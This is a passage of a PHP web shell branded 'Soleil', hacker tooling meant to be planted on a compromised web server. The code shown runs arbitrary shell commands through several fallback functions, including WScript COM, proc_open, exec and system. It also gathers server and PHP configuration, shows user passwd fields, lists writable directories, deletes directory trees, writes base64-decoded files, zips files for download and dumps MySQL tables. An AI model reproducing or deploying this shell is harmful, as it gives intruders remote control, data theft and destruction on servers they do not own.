1517 $wsh = new COM('WScript.shell');
1518 $exec = $wsh->exec('cmd.exe /c '.$command);
1519 $stdout = $exec->StdOut();
1520 $stroutput = $stdout->ReadAll();
1521 echo $stroutput;
1522 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
1523 $descriptorspec = array(
1524 0 => array('pipe', 'r'),
1525 1 => array('pipe', 'w'),
1526 2 => array('pipe', 'w')
1527 );
1528 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1529 if (is_resource($process)) {
1530 fwrite($pipes[0], $command."\r\n");
1531 fwrite($pipes[0], "exit\r\n");
1532 fclose($pipes[0]);
1533 while (!feof($pipes[1])) {
1534 echo fgets($pipes[1], 1024);
1535 }
1536 fclose($pipes[1]);
1537 while (!feof($pipes[2])) {
1538 echo fgets($pipes[2], 1024);
1539 }
1540 fclose($pipes[2]);
1541 proc_close($process);
1542 }
1543 } else {
1544 echo(execute($command));
1545 }
1546 p('</pre>');
1547 }
1548}//end shell
1549
1550elseif ($action == 'phpenv') {
1551 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1552 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1553 !$dis_func && $dis_func = 'No';
1554 $info = array(
1555 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
1556 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1557 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
1558 4 => array('Server OS',PHP_OS),
1559 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
1560 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
1561 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
1562 8 => array('PHP run mode',strtoupper(php_sapi_name())),
1563 9 => array('The file path',__FILE__),
1564
1565 10 => array('PHP Version',PHP_VERSION),
1566 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
1567 12 => array('Safe Mode',getcfg('safe_mode')),
1568 13 => array('Administrator',$adminmail),
1569 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1570 15 => array('enable_dl',getcfg('enable_dl')),
1571 16 => array('display_errors',getcfg('display_errors')),
1572 17 => array('register_globals',getcfg('register_globals')),
1573 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
1574 19 => array('memory_limit',getcfg('memory_limit')),
1575 20 => array('post_max_size',getcfg('post_max_size')),
1576 21 => array('upload_max_filesize',$upsize),
1577 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
1578 23 => array('disable_functions',$dis_func),
1579 );
1580
1581 if($phpvarname) {
1582 m($phpvarname .' : '.getcfg($phpvarname));
1583 }
1584
1585 formhead(array('title'=>'Server environment'));
1586 makehide('action','phpenv');
1587 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
1588 formfooter();
1589
1590 $hp = array(0=> 'Server', 1=> 'PHP');
1591 for($a=0;$a<2;$a++) {
1592 p('<h2>'.$hp[$a].' »</h2>');
1593 p('<ul class="info">');
1594 if ($a==0) {
1595 for($i=1;$i<=9;$i++) {
1596 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1597 }
1598 } elseif ($a == 1) {
1599 for($i=10;$i<=23;$i++) {
1600 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1601 }
1602 }
1603 p('</ul>');
1604 }
1605}//end phpenv
1606
1607else {
1608 m('Undefined Action');
1609}
1610
1611?>
1612</td></tr></table>
1613<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
1614 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
1615 Copyright (C) 2004-2010 - Edit by <a href="ducdung.08clc" target="_blank"><B>Soleil</B></a> - All Rights Reserved.
1616</div>
1617</body>
1618</html>
1619
1620<?php
1621
1622/*======================================================
1623Show info shell
1624======================================================*/
1625
1626function m($msg) {
1627 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1628 echo $msg;
1629 echo '</div>';
1630}
1631function scookie($key, $value, $life = 0, $prefix = 1) {
1632 global $admin, $timestamp, $_SERVER;
1633 $key = ($prefix ? $admin['cookiepre'] : '').$key;
1634 $life = $life ? $life : $admin['cookielife'];
1635 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1636 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1637}
1638function multi($num, $perpage, $curpage, $tablename) {
1639 $multipage = '';
1640 if($num > $perpage) {
1641 $page = 10;
1642 $offset = 5;
1643 $pages = @ceil($num / $perpage);
1644 if($page > $pages) {
1645 $from = 1;
1646 $to = $pages;
1647 } else {
1648 $from = $curpage - $offset;
1649 $to = $curpage + $page - $offset - 1;
1650 if($from < 1) {
1651 $to = $curpage + 1 - $from;
1652 $from = 1;
1653 if(($to - $from) < $page && ($to - $from) < $pages) {
1654 $to = $page;
1655 }
1656 } elseif($to > $pages) {
1657 $from = $curpage - $pages + $to;
1658 $to = $pages;
1659 if(($to - $from) < $page && ($to - $from) < $pages) {
1660 $from = $pages - $page + 1;
1661 }
1662 }
1663 }
1664 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1665 for($i = $from; $i <= $to; $i++) {
1666 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1667 }
1668 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1669 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1670 }
1671 return $multipage;
1672}
1673// Login page
1674function loginpage() {
1675?>
1676<html>
1677<head>
1678
1679<body bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>
1680
1681 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
1682<title>Solei</title>
1683<style type="text/css">
1684A:link {text-decoration: none; color: green }
1685A:visited {text-decoration: none;color:red}
1686A:active {text-decoration: none}
1687A:hover {text-decoration: underline; color: green;}
1688input, textarea, button
1689{
1690 font-size: 9pt;
1691 color: #ccc;
1692 font-family: verdana, sans-serif;
1693 background-color: #202020;
1694 border-left: 1px solid #74A202;
1695 border-top: 1px solid #74A202;
1696 border-right: 1px solid #74A202;
1697 border-bottom: 1px solid #74A202;
1698}
1699
1700</style>
1701
1702 <BR><BR>
1703<div align=center >
1704<fieldset style="border: 1px solid rgb(69, 69, 69); padding: 4px;width:450px;bgcolor:white;align:center;font-family:tahoma;font-size:10pt"><legend><font color=red><B>Login</b></font></legend>
1705
1706<div>
1707<font color=gray>
1708<font color=yellow>==[ <B>Soleil</B> ]== </font><BR><BR>
1709
1710<form method="POST" action="">
1711 <span style="font:10pt tahoma;">Password: </span><input name="password" type="password" size="20">
1712 <input type="hidden" name="doing" value="login">
1713 <input type="submit" value="Login">
1714 </form>
1715<BR>
1716<?php
1717echo "".$err_mess."";
1718?>
1719
1720 <B><font color=red>
1721<a href=http://localhost target=_blank>ducdung.08clc</a><BR></b>
1722
1723
1724
1725
1726
1727</div>
1728
1729
1730 </fieldset>
1731
1732
1733
1734</head>
1735</html>
1736
1737
1738<?php
1739 exit;
1740
1741}//end loginpage()
1742
1743function execute($cfe) {
1744 $res = '';
1745 if ($cfe) {
1746 if(function_exists('exec')) {
1747 @exec($cfe,$res);
1748 $res = join("\n",$res);
1749 } elseif(function_exists('shell_exec')) {
1750 $res = @shell_exec($cfe);
1751 } elseif(function_exists('system')) {
1752 @ob_start();
1753 @system($cfe);
1754 $res = @ob_get_contents();
1755 @ob_end_clean();
1756 } elseif(function_exists('passthru')) {
1757 @ob_start();
1758 @passthru($cfe);
1759 $res = @ob_get_contents();
1760 @ob_end_clean();
1761 } elseif(@is_resource($f = @popen($cfe,"r"))) {
1762 $res = '';
1763 while(!@feof($f)) {
1764 $res .= @fread($f,1024);
1765 }
1766 @pclose($f);
1767 }
1768 }
1769 return $res;
1770}
1771function which($pr) {
1772 $path = execute("which $pr");
1773 return ($path ? $path : $pr);
1774}
1775
1776function cf($fname,$text){
1777 if($fp=@fopen($fname,'w')) {
1778 @fputs($fp,@base64_decode($text));
1779 @fclose($fp);
1780 }
1781}
1782
1783// Debug
1784function debuginfo() {
1785 global $starttime;
1786 $mtime = explode(' ', microtime());
1787 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1788 echo 'Processed in '.$totaltime.' second(s)';
1789}
1790
1791// Function connect database
1792function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
1793 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
1794 p('<h2>Can not connect to MySQL server</h2>');
1795 exit;
1796 }
1797 if($link && $dbname) {
1798 if (!@mysql_select_db($dbname, $link)) {
1799 p('<h2>Database selected has error</h2>');
1800 exit;
1801 }
1802 }
1803 if($link && mysql_get_server_info() > '4.1') {
1804 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
1805 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
1806 }
1807 }
1808 return $link;
1809}
1810
1811// Array strip
1812function s_array(&$array) {
1813 if (is_array($array)) {
1814 foreach ($array as $k => $v) {
1815 $array[$k] = s_array($v);
1816 }
1817 } else if (is_string($array)) {
1818 $array = stripslashes($array);
1819 }
1820 return $array;
1821}
1822
1823// HTML Strip
1824function html_clean($content) {
1825 $content = htmlspecialchars($content);
1826 $content = str_replace("\n", "<br />", $content);
1827 $content = str_replace(" ", " ", $content);
1828 $content = str_replace("\t", " ", $content);
1829 return $content;
1830}
1831
1832// Chmod
1833function getChmod($filepath){
1834 return substr(base_convert(@fileperms($filepath),10,8),-4);
1835}
1836
1837function getPerms($filepath) {
1838 $mode = @fileperms($filepath);
1839 if (($mode & 0xC000) === 0xC000) {$type = 's';}
1840 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
1841 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
1842 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
1843 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
1844 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
1845 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
1846 else {$type = '?';}
1847
1848 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1849 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1850 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
1851 $group['read'] = ($mode & 00040) ? 'r' : '-';
1852 $group['write'] = ($mode & 00020) ? 'w' : '-';
1853 $group['execute'] = ($mode & 00010) ? 'x' : '-';
1854 $world['read'] = ($mode & 00004) ? 'r' : '-';
1855 $world['write'] = ($mode & 00002) ? 'w' : '-';
1856 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1857
1858 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
1859 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
1860 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
1861
1862 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
1863}
1864
1865function getUser($filepath) {
1866 if (function_exists('posix_getpwuid')) {
1867 $array = @posix_getpwuid(@fileowner($filepath));
1868 if ($array && is_array($array)) {
1869 return ' / <a href="#" title="User: '.$array['name'].'
1870Passwd: '.$array['passwd'].'
1871Uid: '.$array['uid'].'
1872gid: '.$array['gid'].'
1873Gecos: '.$array['gecos'].'
1874Dir: '.$array['dir'].'
1875Shell: '.$array['shell'].'">'.$array['name'].'</a>';
1876 }
1877 }
1878 return '';
1879}
1880
1881// Delete dir
1882function deltree($deldir) {
1883 $mydir=@dir($deldir);
1884 while($file=$mydir->read()) {
1885 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
1886 @chmod($deldir.'/'.$file,0777);
1887 deltree($deldir.'/'.$file);
1888 }
1889 if (is_file($deldir.'/'.$file)) {
1890 @chmod($deldir.'/'.$file,0777);
1891 @unlink($deldir.'/'.$file);
1892 }
1893 }
1894 $mydir->close();
1895 @chmod($deldir,0777);
1896 return @rmdir($deldir) ? 1 : 0;
1897}
1898
1899// Background
1900function bg() {
1901 global $bgc;
1902 return ($bgc++%2==0) ? 'alt1' : 'alt2';
1903}
1904
1905// Get path
1906function getPath($scriptpath, $nowpath) {
1907 if ($nowpath == '.') {
1908 $nowpath = $scriptpath;
1909 }
1910 $nowpath = str_replace('\\', '/', $nowpath);
1911 $nowpath = str_replace('//', '/', $nowpath);
1912 if (substr($nowpath, -1) != '/') {
1913 $nowpath = $nowpath.'/';
1914 }
1915 return $nowpath;
1916}
1917
1918// Get up path
1919function getUpPath($nowpath) {
1920 $pathdb = explode('/', $nowpath);
1921 $num = count($pathdb);
1922 if ($num > 2) {
1923 unset($pathdb[$num-1],$pathdb[$num-2]);
1924 }
1925 $uppath = implode('/', $pathdb).'/';
1926 $uppath = str_replace('//', '/', $uppath);
1927 return $uppath;
1928}
1929
1930// Config
1931function getcfg($varname) {
1932 $result = get_cfg_var($varname);
1933 if ($result == 0) {
1934 return 'No';
1935 } elseif ($result == 1) {
1936 return 'Yes';
1937 } else {
1938 return $result;
1939 }
1940}
1941
1942// Function name
1943function getfun($funName) {
1944 return (false !== function_exists($funName)) ? 'Yes' : 'No';
1945}
1946
1947function GetList($dir){
1948 global $dirdata,$j,$nowpath;
1949 !$j && $j=1;
1950 if ($dh = opendir($dir)) {
1951 while ($file = readdir($dh)) {
1952 $f=str_replace('//','/',$dir.'/'.$file);
1953 if($file!='.' && $file!='..' && is_dir($f)){
1954 if (is_writable($f)) {
1955 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
1956 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1957 $dirdata[$j]['dirchmod']=getChmod($f);
1958 $dirdata[$j]['dirperm']=getPerms($f);
1959 $dirdata[$j]['dirlink']=ue($dir);
1960 $dirdata[$j]['server_link']=$f;
1961 $dirdata[$j]['client_link']=ue($f);
1962 $j++;
1963 }
1964 GetList($f);
1965 }
1966 }
1967 closedir($dh);
1968 clearstatcache();
1969 return $dirdata;
1970 } else {
1971 return array();
1972 }
1973}
1974
1975function qy($sql) {
1976 //echo $sql.'<br>';
1977 $res = $error = '';
1978 if(!$res = @mysql_query($sql)) {
1979 return 0;
1980 } else if(is_resource($res)) {
1981 return 1;
1982 } else {
1983 return 2;
1984 }
1985 return 0;
1986}
1987
1988function q($sql) {
1989 return @mysql_query($sql);
1990}
1991
1992function fr($qy){
1993 mysql_free_result($qy);
1994}
1995
1996function sizecount($size) {
1997 if($size > 1073741824) {
1998 $size = round($size / 1073741824 * 100) / 100 . ' G';
1999 } elseif($size > 1048576) {
2000 $size = round($size / 1048576 * 100) / 100 . ' M';
2001 } elseif($size > 1024) {
2002 $size = round($size / 1024 * 100) / 100 . ' K';
2003 } else {
2004 $size = $size . ' B';
2005 }
2006 return $size;
2007}
2008
2009// Zip
2010class PHPZip{
2011 var $out='';
2012 function PHPZip($dir) {
2013 if (@function_exists('gzcompress')) {
2014 $curdir = getcwd();
2015 if (is_array($dir)) $filelist = $dir;
2016 else{
2017 $filelist=$this -> GetFileList($dir);//File list
2018 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
2019 }
2020 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
2021 else chdir($curdir);
2022 if (count($filelist)>0){
2023 foreach($filelist as $filename){
2024 if (is_file($filename)){
2025 $fd = fopen ($filename, 'r');
2026 $content = @fread ($fd, filesize($filename));
2027 fclose ($fd);
2028 if (is_array($dir)) $filename = basename($filename);
2029 $this -> addFile($content, $filename);
2030 }
2031 }
2032 $this->out = $this -> file();
2033 chdir($curdir);
2034 }
2035 return 1;
2036 }
2037 else return 0;
2038 }
2039
2040 // Show file list
2041 function GetFileList($dir){
2042 static $a;
2043 if (is_dir($dir)) {
2044 if ($dh = opendir($dir)) {
2045 while ($file = readdir($dh)) {
2046 if($file!='.' && $file!='..'){
2047 $f=$dir .'/'. $file;
2048 if(is_dir($f)) $this->GetFileList($f);
2049 $a[]=$f;
2050 }
2051 }
2052 closedir($dh);
2053 }
2054 }
2055 return $a;
2056 }
2057
2058 var $datasec = array();
2059 var $ctrl_dir = array();
2060 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
2061 var $old_offset = 0;
2062
2063 function unix2DosTime($unixtime = 0) {
2064 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
2065 if ($timearray['year'] < 1980) {
2066 $timearray['year'] = 1980;
2067 $timearray['mon'] = 1;
2068 $timearray['mday'] = 1;
2069 $timearray['hours'] = 0;
2070 $timearray['minutes'] = 0;
2071 $timearray['seconds'] = 0;
2072 } // end if
2073 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
2074 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
2075 }
2076
2077 function addFile($data, $name, $time = 0) {
2078 $name = str_replace('\\', '/', $name);
2079
2080 $dtime = dechex($this->unix2DosTime($time));
2081 $hexdtime = '\x' . $dtime[6] . $dtime[7]
2082 . '\x' . $dtime[4] . $dtime[5]
2083 . '\x' . $dtime[2] . $dtime[3]
2084 . '\x' . $dtime[0] . $dtime[1];
2085 eval('$hexdtime = "' . $hexdtime . '";');
2086 $fr = "\x50\x4b\x03\x04";
2087 $fr .= "\x14\x00";
2088 $fr .= "\x00\x00";
2089 $fr .= "\x08\x00";
2090 $fr .= $hexdtime;
2091
2092 $unc_len = strlen($data);
2093 $crc = crc32($data);
2094 $zdata = gzcompress($data);
2095 $c_len = strlen($zdata);
2096 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
2097 $fr .= pack('V', $crc);
2098 $fr .= pack('V', $c_len);
2099 $fr .= pack('V', $unc_len);
2100 $fr .= pack('v', strlen($name));
2101 $fr .= pack('v', 0);
2102 $fr .= $name;
2103 $fr .= $zdata;
2104 $fr .= pack('V', $crc);
2105 $fr .= pack('V', $c_len);
2106 $fr .= pack('V', $unc_len);
2107
2108 $this -> datasec[] = $fr;
2109 $new_offset = strlen(implode('', $this->datasec));
2110
2111 $cdrec = "\x50\x4b\x01\x02";
2112 $cdrec .= "\x00\x00";
2113 $cdrec .= "\x14\x00";
2114 $cdrec .= "\x00\x00";
2115 $cdrec .= "\x08\x00";
2116 $cdrec .= $hexdtime;
2117 $cdrec .= pack('V', $crc);
2118 $cdrec .= pack('V', $c_len);
2119 $cdrec .= pack('V', $unc_len);
2120 $cdrec .= pack('v', strlen($name) );
2121 $cdrec .= pack('v', 0 );
2122 $cdrec .= pack('v', 0 );
2123 $cdrec .= pack('v', 0 );
2124 $cdrec .= pack('v', 0 );
2125 $cdrec .= pack('V', 32 );
2126 $cdrec .= pack('V', $this -> old_offset );
2127 $this -> old_offset = $new_offset;
2128 $cdrec .= $name;
2129
2130 $this -> ctrl_dir[] = $cdrec;
2131 }
2132
2133 function file() {
2134 $data = implode('', $this -> datasec);
2135 $ctrldir = implode('', $this -> ctrl_dir);
2136 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
2137 }
2138}
2139
2140// Dump mysql
2141function sqldumptable($table, $fp=0) {
2142 $tabledump = "DROP TABLE IF EXISTS $table;\n";
2143 $tabledump .= "CREATE TABLE $table (\n";
2144
2145 $firstfield=1;
2146
2147 $fields = q("SHOW FIELDS FROM $table");
2148 while ($field = mysql_fetch_array($fields)) {
2149 if (!$firstfield) {
2150 $tabledump .= ",\n";
2151 } else {
2152 $firstfield=0;
2153 }
2154 $tabledump .= " $field[Field] $field[Type]";
2155 if (!empty($field["Default"])) {
2156 $tabledump .= " DEFAULT '$field[Default]'";
2157 }
2158 if ($field['Null'] != "YES") {
2159 $tabledump .= " NOT NULL";
2160 }
2161 if ($field['Extra'] != "") {
2162 $tabledump .= " $field[Extra]";
2163 }
2164 }
2165 fr($fields);
2166
2167 $keys = q("SHOW KEYS FROM $table");
2168 while ($key = mysql_fetch_array($keys)) {
2169 $kname=$key['Key_name'];
2170 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
2171 $kname="UNIQUE|$kname";
2172 }
2173 if(!is_array($index[$kname])) {
2174 $index[$kname] = array();
2175 }
2176 $index[$kname][] = $key['Column_name'];
2177 }
2178 fr($keys);
2179
2180 while(list($kname, $columns) = @each($index)) {
2181 $tabledump .= ",\n";
2182 $colnames=implode($columns,",");
2183
2184 if ($kname == "PRIMARY") {
2185 $tabledump .= " PRIMARY KEY ($colnames)";
2186 } else {
2187 if (substr($kname,0,6) == "UNIQUE") {
2188 $kname=substr($kname,7);
2189 }
2190 $tabledump .= " KEY $kname ($colnames)";
2191 }
2192 }
2193
2194 $tabledump .= "\n);\n\n";
2195 if ($fp) {
2196 fwrite($fp,$tabledump);
2197 } else {
2198 echo $tabledump;
2199 }
2200
2201 $rows = q("SELECT * FROM $table");
2202 $numfields = mysql_num_fields($rows);
2203 while ($row = mysql_fetch_array($rows)) {
2204 $tabledump = "INSERT INTO $table VALUES(";
2205
2206 $fieldcounter=-1;
2207 $firstfield=1;
2208 while (++$fieldcounter<$numfields) {
2209 if (!$firstfield) {
2210 $tabledump.=", ";
2211 } else {
2212 $firstfield=0;
2213 }
2214
2215 if (!isset($row[$fieldcounter])) {
2216 $tabledump .= "NULL";
2217 } else {
2218 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
2219 }
2220 }
2221
2222 $tabledump .= ");\n";
2223
2224 if ($fp) {
2225 fwrite($fp,$tabledump);
2226 } else {
2227 echo $tabledump;
2228 }
2229 }
2230 fr($rows);
2231 if ($fp) {
2232 fwrite($fp,"\n");
2233 } else {
2234 echo "\n";
2235 }
2236}
2237
2238function ue($str){
2239 return urlencode($str);
2240}
2241
2242function p($str){
2243 echo $str."\n";
2244}
2245
2246function tbhead() {
2247 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
2248}
2249function tbfoot(){
2250 p('</table>');
2251}
2252
2253function makehide($name,$value=''){
2254 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
2255}
2256
2257function makeinput($arg = array()){
2258 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
2259 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
2260 !$arg['type'] && $arg['type'] = 'text';
2261 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2262 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
2263 if ($arg['newline']) {
2264 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
2265 } else {
2266 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
2267 }
2268}
2269
2270function makeselect($arg = array()){
2271 if ($arg['onchange']) {
2272 $onchange = 'onchange="'.$arg['onchange'].'"';
2273 }
2274 $arg['title'] = $arg['title'] ? $arg['title'] : '';
2275 if ($arg['newline']) p('<p>');
2276 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
2277 if (is_array($arg['option'])) {
2278 foreach ($arg['option'] as $key=>$value) {
2279 if ($arg['selected']==$key) {
2280 p("<option value=\"$key\" selected>$value</option>");
2281 } else {
2282 p("<option value=\"$key\">$value</option>");
2283 }
2284 }
2285 }
2286 p("</select>");
2287 if ($arg['newline']) p('</p>');
2288}
2289function formhead($arg = array()) {
2290 !$arg['method'] && $arg['method'] = 'post';
2291 !$arg['action'] && $arg['action'] = $self;
2292 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
2293 !$arg['name'] && $arg['name'] = 'form1';
2294 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
2295 if ($arg['title']) {
2296 p('<h2>'.$arg['title'].' »</h2>');
2297 }
2298}
2299
2300function maketext($arg = array()){
2301 !$arg['cols'] && $arg['cols'] = 100;
2302 !$arg['rows'] && $arg['rows'] = 25;
2303 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2304 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
2305}
2306
2307function formfooter($name = ''){
2308 !$name && $name = 'submit';
2309 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
2310 p('</form>');
2311}
2312
2313function formfoot(){
2314 p('</form>');
2315}
2316
2317// Exit
2318function pr($a) {
2319 echo '<pre>';
2320 print_r($a);
2321 echo '</pre>';
2322}
2323
2324?>